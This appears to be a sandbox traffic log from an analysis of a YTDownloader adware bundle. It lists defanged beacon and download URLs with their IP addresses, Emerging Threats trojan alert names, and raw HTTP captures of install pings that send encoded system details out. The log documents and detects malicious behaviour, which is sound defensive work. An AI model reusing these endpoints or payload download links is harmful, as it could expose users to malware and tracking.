hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoQ919p7AKUpMEwAaRG2pHiUu1SXIq07tJpEft3nXiccAAK9Hije/qAw rMPhJnTJCdO8HWUWvz55ssgX4HQvzDzE0H2E /K1uqPiYRVVMKy/yijAfjje/ktUzPMZleL5 Wu7K8cv9dNF9NtefOTH4Uod212AYeRmsjiTgabm 9Kynizn8eB0zlnq0NIBqfTkoTPWs1u2kyN0 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoT0z0MUwSr51BPEhRyyBD7AmwZFp/ZKcZSSWkiD 8aIWFAbDvDttaaPPt30posPzj93QiescafgJMQkn33NAlOpViA7TIcAcSxgCqL7xsniQvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10VOSDd4/R9r/g== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoT0z0MUwSr51BPEhRyyBD7Az2B3hsM2vVSSWkiD 8aIWFAbDvDttaaPPt30posPzj93QiescafgJMQkn33NAlOpViA7TIcAcSxgCqL7xsniQvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10VOSDd4/R9r/g== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoaRFHQ2Y5ZJIx7GRVckt5CYxeMtYx3lqVgTxIUcsgQ wMKgngteC6vof/JCJITKfr9iHRMVKaBRE8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWNHA9wE 3dtMawpjMrDH2/0/z9osaCZsNzOVHPJIMptbA== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=KSz5qzb2KgIHmSWm27gjwzWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYxntCYgHFts0TuXTWi43QJaYIabGyUuYcEb I75vj8o4U7zGYxFVZk5vuPkkDKInkPC8afBy6IKMEefda087tOQ TnksFA3b2toTYm7KkeYVZVK84c2M0afetatv4yryaGH0C2GRu7wN6d71n58zGwywH8WDydpuWQ== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=iAb9K1DDBHV90pTvuM4YhroIq74oymmkIM0CqmsRfbs08bEgFRb3JLee7JGyVH1lRdb/S8YKHkPcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9jchQaB0hEWDb7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxL12EELBUZsE03SQCeXx1TCLUISLCJlFqul4CnWC C4vHQ5iZIM1e7BHRbglB1j0/StiHw52jSEec11N66AH6x9ECOCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=/k6kR j50tpQhScA1jb3T0YMLQerWYgKnvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ5vKyHshi0NtPyw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidRTXymTQoAnR8SJA d bWCFCPEXUvodJCF gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFSVqU1IXaHrWwEISYEO9NS7nUJRtduGvIRTkwMJcPGBdb993fUWhVM6JY0ZY0a3GiDgcOSoTWmGk= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=bomaaVKFzzJmS6nlSU/NTpriyQY/kXPI/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jOT/P10voOXfDUh 3ZGDmdW5pZis9f nTdUX3PRbKmecamyKlGqqMelN23BFW9K0wL0BqAXns3SdhAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JjlkwUaFySc/6ysA rfm9WUeI9VTThLJ3cdBa1e8eaz1monqvdjdbUE5Qq6vggdENoDRrgkysOwi 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMC09xUUAqoccNCUHeR8YCF3RMhMhveZGB//nVFcIvcEaWEp0t/VLWlqBPWgrOywYH8uTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45dFGXRCXV7xf3 1FJRB3435mtBiUzskSX 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=eFCD8T/coicbrW3BnhHoaMXsDvTExD YnvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ56DDk8zW/hUJWOvghCBTr/TdVMo67fxO0s IILilpWF3RSHJGpxLr0ubPO1c V YYi53VvsfKir4uTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45dFGXRCXV7xf3 1FJRB3435mtBiUzskSX 198.232.124.192
hxxp://www.ytdownloader.com/app/ping.ashx?action=S_INSTALL&usid=1844237615-1960408961-1801674531&aff=&rnd=&v=1.0.8654.1203&url=&title=&pingtext=Files& protocol=&size=0&ref=&browser= 107.20.238.80
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=uWabAt9SLcwd5zMhdw4gNm7gP247 z/s6ykiHPsiO/7 UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3vbMhU3VQ3XKYWiz2vOiMSzJ5aq1fC9XsphfdOL Ldg1dxt2axWyKfONeNl36bp9ygyKUkKtOImZ00z8VaU/yd56IpriXQfJK/wnbZDXNEbTuF6IuT3DfqjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsOpo/lEjpeAlBzFcuANGYcs6QVPVP6/3bDcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9hVlevGTzNhbw== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=XJYuqQQo69fhEjJFr58dc2tjJ5yrs8qUnvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ5LEkZetWvu6vIROPie2z407nXsJR6HRCLBPEhRyyBD7AmwZFp/ZKcZfr7aTKFjuUh88OtjuZNGq4JUzWMwNoN82LUJGnTsXhlEK5u6pECdO1SxiNrRjAGZBB5aSy JFSFBu JKI8V1aUAcuRLQrL1GjXU3roAfrH0QI4IYW7BlwKG/8 ILd4bihRW JECizii0o6CnERxfiY5ZMFGhcknP srAPq35vVlHiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDaA0a4JMrDsIg== 198.232.124.192
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=R4rdFlCMSnR90pTvuM4YhjbeaafaiP8SFDDfVv/vH297HO4WybUyR BEf8zqYXvVzeNseUIiiXS2IpRlCTqs68TQfYT78rW6o JhFVUwrL/KKMB ON7 S1TM8xmV4vn51tQUcd/Mb9Q48VIs1kHEk1i2s6XsF8NYjSpUgoEII9IE8SFHLIEPsHL581Cv60 M3GKWlWmZ3GY= 54.239.168.207
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=wlkQ3WKgYpT/HsUBn07KUmgLND0FcPvMwdbR4HTmbrxAMc8htD1YT33c3l7dx0agqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N8klCAcYCbUzXCr63GbU9C4ghuBbbObA8zPFIy cPCHHets iQdMKul8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFbrKwD6t b1ZdaoPZj94HyTdYbpuXkBqGoqDFaITzA6RY4G r 3F6T7RcAepxIAaB3uE0xleUFdHw== 54.239.168.207
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=R4rdFlCMSnR90pTvuM4YhjbeaafaiP8SFDDfVv/vH29SkTtsgk8NFZGCCoDalgcEvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10X/Vz2yRC8LzOBEf8zqYXvVzeNseUIiiXS2IpRlCTqs68TQfYT78rW6o JhFVUwrL/KKMB ON7 S1TM8xmV4vn51tQUcd/Mb9Q48VIs1kHEk1i2s6XsF8NYjSpUgoEII9IE8SFHLIEPsDwc0X0Q0vGGJG2ga4MXAI0= 54.239.168.207
hxxp://kxsui3-mzxspesu.netdna-ssl.com/wu.ashx?dsid=1&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&usetmd5=&bmd5=&hpp=1&spp=1&ntp=1&ubrand=sc 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9itPJ5vOiYOUk4ge50n/C3pNKZ41CPq3IAX8KCb00J1/GybHDfry6wqPf5oHGQJZ9IynnTJWRrnFAxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9itPJ5vOiYOUk4ge50n/C3pNKZ41CPq3IAX8KCb00J1/GybHDfry6wqNEaQ4OBuHq30OyhYPXwyelriv5F9 yz9kuTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45dFGXRCXV7xf3 1FJRB3435mtBiUzskSX 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS9HLHm9xMNbloALKR6u0dIX8KCb00J1/GybHDfry6wqNEaQ4OBuHq3wpXsr t675z vszRGIsmD5y7Gw41DPo/0COCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS9HLHm9xMNbloALKR6u0dISqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXVlGLP9MEG8Z9q4cIzg hRIKAaiJwK3jOW1MuY6VjgLXJJaSIP7xohYUBsO8O21po8 3fSmiw/OP3dCJ6xxp AkxCSffc0CU6lWIDtMhwBxLGAKovvGyeJC9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRU5IN3j9H2v 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=iDRrwQhh7wtmS6nlSU/NTg2cToY3sLJb/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jOe8p CMFtkc/xmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeDt43ai0lw3pKGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFJJR3 63B7qAALYso7vQrB39ic15P1rqvZALYU3kJ5A6xNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS9HLHm9xMNbloALKR6u0dIfizY7Ujf08WFAL52sIXt4VzrzFC04 gV8qwTJHv BeYORQ2C5lN2kVTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05D5OeSwUDdva2hNibsqR5hVlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDLAfxYPJ2m5Z 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=2v0SNuZrMFzXE3CBqGdJyX3SlO 4zhiGR6ZumI nNE0gzQKqaxF9uzTxsSAVFvckt57skbJUfWVF1v9LxgoeQ9yvhlGeipNVq9cg7gNNevSZAVIItSVX2NyFBoHSERYNvsZEhw6jJ2FR0Y8PVvZCzh5HT7oi2L2egNfFMma5XEthbKBKVNjFX4YsZ7QYFDFnxHXZjfhFnaKOBvq/txek 98kq5tFPGRg8hLIAT6TbharyaFrt1ZytQQr15Tmip jZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsOpo/lEjpeAlBzFcuANGYcs6QVPVP6/3bDcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9hVlevGTzNhbw== 198.232.124.192
hxxp://dyd9qf154h76q.cloudfront.net/br.ashx?pid={PID}&aid={AID}&ss=0&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&md5=9c252fee8d7ddd66fd174360b8500d61&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DBDAC73B-95A8-49BD-8156-6EB7EBE7D1A9 54.239.168.87
hxxp://d23ocewf5ttxmu.cloudfront.net/br.ashx?pid={PID}&aid={AID}&bur=1&ss=0&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&md5=9c252fee8d7ddd66fd174360b8500d61&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DBDAC73B-95A8-49BD-8156-6EB7EBE7D1A9 54.239.168.190
hxxp://d23ocewf5ttxmu.cloudfront.net/br.ashx?pid={PID}&aid={AID}&ss=0&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&md5=9f00e9c6b9b843a286c407d21f0f0bd9&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DBDAC73B-95A8-49BD-8156-6EB7EBE7D1A9 54.239.168.190
hxxp://rep.ytdownloader.com/app/ping.ashx?action=start&userid={E52BD65F-C158-4188-925E-6CA55C884986}&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=TWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFsIFNlcnZpY2UgUGFjayAzIChidWlsZCAyNjAwKQA=&protocol=&size=0&ref=&browser= 54.197.238.106
hxxp://rep.ytdownloader.com/app/ping.ashx?action=start&userid={E52BD65F-C158-4188-925E-6CA55C884986}&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=IGNvbnZlcnRlcjogMy4zLjEuNTsgZHJpdmVyOiBDOlxQcm9ncmFtIEZpbGVzXFlURG93bmxvYWRlclxzYm1udHIuc3lzIDEuMC4wLjI7IGhlbHBlcjogMS4wLjEuNTsgc2VydmljZTogMS4wLjEuNTsA&protocol=&size=0&ref=&browser= 54.197.238.106
hxxp://rep.ytdownloader.com/app/ping.ashx?action=uidCreated&userid={E52BD65F-C158-4188-925E-6CA55C884986}&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=&protocol=&size=0&ref=&browser= 54.197.238.106
hxxp://rep.ytdownloader.com/app/ping.ashx?action=install&userid=&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=&protocol=&size=0&ref=&browser= 54.197.238.106
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/sowt5qivp2SX UINFgbXOiiAvELRpepitqGvv5sqhroDaM1aE/ClNTT5LFwLcWYlsrXIxNf6X/p/UaDgXp2QHNdR8GDCHWpWtE5S9J1faKqcnIzPjk7XGtW1B5cJyD8WHLb9RQzbrixrw1VxvH51bFJF4kQIHXTAmjFaC1iN6TTHRdsGMkr9o5Q== 198.232.124.192
hxxp://vvr4w8-1ghhyl1c.netdna-ssl.com/YTDownloaderFull.exe 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=eFCD8T/coiezrE/yDXLQyTWNtO0Ims5SXpjeC5fqyfXCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9itPJ5vOiYOUkqDnxrYKwn3JgKkdlz1lRoYtuG iv KSFFAL52sIXt4XG iJ1D1BH6VNGm7ZktKfNQI4IYW7BlwKG/8 ILd4bihRW JECizii0o6CnERxfiY5ZMFGhcknP srAPq35vVlHiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDaA0a4JMrDsIg== 198.232.124.192
hxxp://23r364hijk-mzxspesu.netdna-ssl.com/t.ashx?e=M7A8vgjJHrj4MZomVx105cCfeQDac2AEAZx7JfD/ZiMeaFNcfNJ0Dr7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/sowt5qivp2SX UINFgbXOiiAvELRpepitqGvv5sqhroDaM1aE/ClNTT5LFwLcWYlsrXIxNf6X/p/UaDgXp2QHNdR8GDCHWpWtE5S9J1faKqfhTy6irisLyMLwVoAmU3rnUzRVzAnl uH Xwg1761aWgeqRtCpUzM2lz5LO1H2X/rAGiD0BQQ4ChfDVhXI92OzLkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBxuiooWaRoAJw== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=AZwPyJy3TZgPgAd18hbyrqsoN2NfqlSn/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IJiqmzC51uJbX4l9XCm/Va yMyEnHNejvIwWNawbTP05KYX3Ti/i3YObVFZJeaqFdk1VfCEU0AOklTie0zE 5RJfoAFDjGX4LpcCZEAFRuZJhEDlb5EunAiguPxY3sIjxUlalNSF2h61sBCEmBDvTUu51CUbXbhryEU5MDCXDxgXW/fd31FoVTOiWNGWNGtxog4HDkqE1php 198.232.124.192
hxxp://pwvz71qp-ur1xo6pn.netdna-ssl.com/wu.ashx?dsid=1&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&usetmd5=&bmd5=&hpp=1&spp=1&ntp=1&ubrand=sc 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=hNMAVKhukrwPgAd18hbyrq/D/8nVo5Z2/Dn8i7qp5mAHqUQ0J3/4E35CmT3i5NSF2vIg0CxxvYrTyebzomDlJJxQ8W QX1jZYCpHZc9ZUaH6MIOzDij/FhQC drCF7eFysWDrahxHN3E0H2E /K1uqPiYRVVMKy/yijAfjje/ktUzPMZleL5 XpkvY14xYJ8 198.232.124.192
hxxp://23r364hijk-mzxspesu.netdna-ssl.com/t.ashx?e=rtVCaXwMwDJmS6nlSU/NTtuVII 9jnDa/ToTRiVFxVTeyzV7AofXltfeePK3juLQKseWc3Bk9ZvlsFtw3cWT7mvtcIuz9bMoGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU 198.232.124.192
hxxp://d23ocewf5ttxmu.cloudfront.net/br.ashx?pid={PID}&aid={AID}&ss=0&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,&v=2.3.12.1634&md5=9c252fee8d7ddd66fd174360b8500d61&mid=A0A7AiA9A7AAA1AiA7ieA1A91J7L773DiLAiiAA13D1J&uid=DBDAC73B-95A8-49BD-8156-6EB7EBE7D1A9 54.239.168.190
hxxp://kxsui3-mzxspesu.netdna-ssl.com/1303.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/sowt5qivp2SX UINFgbXOiiAvELRpepitqGvv5sqhroDaM1aE/ClNTT5LFwLcWYlsrXIxNf6X/p/UaDgXp2QHNdR8GDCHWpWt6/KwEvQjAfCESiW wqgeJJNlRzoCiiPdLkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBxuiooWaRoAJw== 198.232.124.192


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Win32/Gapz MSIE 9 on Windows NT 5
ET POLICY Executable served from Amazon S3
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET POLICY Unsupported/Fake Windows NT Version 5.0

Traffic

GET /app/ping.ashx?action=start&userid={E52BD65F-C158-4188-925E-6CA55C884986}&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=TWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFsIFNlcnZpY2UgUGFjayAzIChidWlsZCAyNjAwKQA=&protocol=&size=0&ref=&browser= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.ytdownloader.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:43 GMT
....



GET /app/ping.ashx?action=start&userid={E52BD65F-C158-4188-925E-6CA55C884986}&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=IGNvbnZlcnRlcjogMy4zLjEuNTsgZHJpdmVyOiBDOlxQcm9ncmFtIEZpbGVzXFlURG93bmxvYWRlclxzYm1udHIuc3lzIDEuMC4wLjI7IGhlbHBlcjogMS4wLjEuNTsgc2VydmljZTogMS4wLjEuNTsA&protocol=&size=0&ref=&browser= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.ytdownloader.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:43 GMT
....


GET /app/ping.ashx?action=uidCreated&userid={E52BD65F-C158-4188-925E-6CA55C884986}&usid=1844237615-1960408961-1801674531&aff=&v=1.0.8654.1203&url=&title=&pingtext=&protocol=&size=0&ref=&browser= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.ytdownloader.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:2



GET /p.ashx?e=R4rdFlCMSnR90pTvuM4YhjbeaafaiP8SFDDfVv/vH297HO4WybUyR BEf8zqYXvVzeNseUIiiXS2IpRlCTqs68TQfYT78rW6o JhFVUwrL/KKMB ON7 S1TM8xmV4vn51tQUcd/Mb9Q48VIs1kHEk1i2s6XsF8NYjSpUgoEII9IE8SFHLIEPsHL581Cv60 M3GKWlWmZ3GY= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:19 GMT
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: iXxTlLqKVo2bc23F3qJ75Roh7hdmZzTLvmU4kbX3V6gP5hiH6lld9g==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 02 Sep 2015 23:21:19 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62
bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: iXxTlLqKVo2bc23F3qJ75Roh7
hdmZzTLvmU4kbX3V6gP5hiH6lld9g==..



GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUanmGGYVS7/B0JQd5HxgIXfmCWsTLnvD bTtF4P/Nzf47au 4j4gnPlTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05D5OeSwUDdva2hNibsqR5hVlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDLAfxYPJ2m5Z HTTP/1.1
